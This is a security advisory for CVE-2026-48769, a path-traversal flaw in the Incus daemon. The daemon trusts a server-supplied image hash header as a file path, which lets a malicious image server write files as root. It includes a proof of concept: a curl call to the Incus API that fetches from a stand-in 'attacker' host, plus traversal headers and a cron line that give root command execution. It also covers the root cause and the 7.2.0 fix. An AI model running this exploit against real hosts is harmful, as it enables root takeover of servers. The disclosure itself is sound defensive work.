critical · 9.9CVE-2026-48769Jun 26, 2026

CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash Header

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious image server can trick the Incus daemon into writing attacker-controlled content to any file on the host, including cron jobs, by returning a path-traversal sequence in the HTTP Incus-Imag

Packagegithub.com/lxc/incus/v7/cmd/incusd
Ecosystemgo
Affected< 7.2.0
Fixed in7.2.0

The problem

When a user posts `source.type=url` to `POST /1.0/images`, incusd HEADs the supplied URL and blindly trusts the `Incus-Image-Hash` response header as the download fingerprint. That value is passed directly into `imageDownload()` as the `fp` (fingerprint) variable.

Inside `daemon_images.go`, `fp` is joined with `destDir` via `filepath.Join(destDir, fp)` with no sanitisation. The resulting `destName` is opened with `os.Create()` and the HTTP response body is streamed into it before any SHA-256 check runs. An attacker-controlled hash of `../../../../etc/cron.d/evil` therefore creates and populates an arbitrary host file as root.

Proof of concept

bash
# 1. Attacker runs a server that answers HEAD /stage with traversal headers:
#    Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
#    Incus-Image-URL:  http://attacker:8088/payload
#    GET /payload returns the cron line below (kept open to delay cleanup).

# 2. Trigger from any machine with access to the Incus Unix socket or API:
curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST \
  -H 'Content-Type: application/json' \
  -d '{
    "source": {
      "type": "url",
      "url": "http://attacker:8088/stage"
    },
    "public": false
  }' \
  http://incus/1.0/images

# Content written to /etc/cron.d/incus-direct-image-url-rce by the daemon:
# * * * * *  root  /bin/sh -c 'id > /tmp/incus-direct-image-url-rce'

The root cause is that `fp` defaults to the caller-supplied alias string (`daemon_images.go:91-92`) and is never validated before it is passed to `filepath.Join(destDir, fp)` at line 333. `filepath.Join` does not prevent traversal: a value like `../../../../etc/cron.d/evil` resolves cleanly to a path outside `destDir`.

The SHA-256 integrity check at lines 528-532 runs only after `os.Create()` and the full response copy have already completed, so the write happens unconditionally. The fix in 7.2.0 adds a `filepath.Clean` check immediately after `fp` is set: if the cleaned path does not have `destDir` as a prefix, the download is aborted before the file is ever opened.

CWE-22 (Path Traversal) is the precise classification. Because incusd runs as root and cron files written to `/etc/cron.d/` execute within seconds, the arbitrary write trivially escalates to arbitrary command execution on the host.

The fix

Upgrade incusd to **Incus 7.2.0** or later. The patch validates `fp` with `filepath.Clean` and confirms the resolved destination is still inside `destDir` before calling `os.Create()`. No configuration workaround exists for earlier versions; restrict API access to trusted operators as a partial mitigation.

Reporter not attributed.

References: [1][2]